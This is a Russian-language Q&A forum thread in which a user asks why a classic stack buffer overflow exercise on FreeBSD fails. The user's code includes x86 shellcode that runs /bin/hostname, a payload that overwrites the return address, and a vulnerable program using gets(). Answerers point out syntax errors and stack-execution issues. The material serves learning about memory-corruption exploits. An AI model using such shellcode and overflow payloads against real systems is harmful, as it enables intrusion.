Переполнение буфера - не получается правильный вывод - PullRequest
1 голос
/ 19 декабря 2010

в шелл-коде выведите имя хоста (bin / hostname).но когда я выполняю код, он показывает мне путь в обратном порядке, но не печатает имя хоста.Я на самом деле делаю буфер над потоком.Я использую машину Intel FreeBSD.это мой код

Подскажите пожалуйста где ошибка

//Prog 1
    #include<stdio.h>
    main()
    {
    char shellcode[]= “\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62
       \x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x3b
               \x50\xcd\x80”;
     int i;
     char buf[108];
     i=strlen(shellcode); 
     printf(“%d”,i);
     strcpy(buf,shellcode);
     for(i=36;i<104:i++)
     {
      buf[i]='b';
     }
     buf[104]='\x2c';
     buf[105]='\xfa';
     buf[106]='\xbf';
     buf[107]='\xbf';

     printf(“%s”,buf);
         return 0;
    }   

Вышеуказанная программа вводится в нижеприведенную программу ...... поэтому она создает поток буфера и печатаетимя хоста

#include <stdio.h>
int 
main (int argc, char **argv){
    char buf[100];
    printf("Please Enter your Name");   
        fflush(stdout);
    gets(buf);
    printf("Hello  %s \n",buf);
}
void notcalled(void){
//puts("cccc");
}

Ответы [ 3 ]

0 голосов
/ 19 декабря 2010

В этом примере кода нет переполнения буфера. Вы просто печатаете код оболочки, а не выполняете его.

Код, который был опубликован, даже не компилируется из-за таких вещей, как кавычки, я против проблемы: вместо; и strncpy требуется 3 аргумента (возможно, больше ошибок).

Код оболочки может быть правильным для freebsd, я не могу это проверить. Хотя это определенно не правильно для Linux.

0 голосов
/ 19 декабря 2010

Видимо, вы все еще не запускаете выполнение кода, хотя теперь я вижу, где у вас переполнение буфера.Однако обратите внимание, что переполнение переменной buf пытается перезаписать адрес возврата для main, поэтому он должен печатать текст в любом случае.Кроме того, компилятор может сгенерировать компоновку стека, отличную от той, которую вы ожидаете, или, возможно, ваш стек не выполним (хотя в этом случае вы должны получить ошибку по умолчанию).

Используйте отладчик для пошагового выполнения кода, начиная с оператора return в main и смотрите, что происходит.Вы скоро достигнете инструкции RET, которая должна вставить начальный адрес вашего шеллкода в указатель инструкции, эффективно перейдя к нему.Я подозреваю, что по какой-то причине этого не происходит.

0 голосов
/ 19 декабря 2010
  1. вы определяете int I; и используете i
  2. для используется :i++ вместо ;i++
  3. strncpy() отсутствуетsize_t параметр тоже
...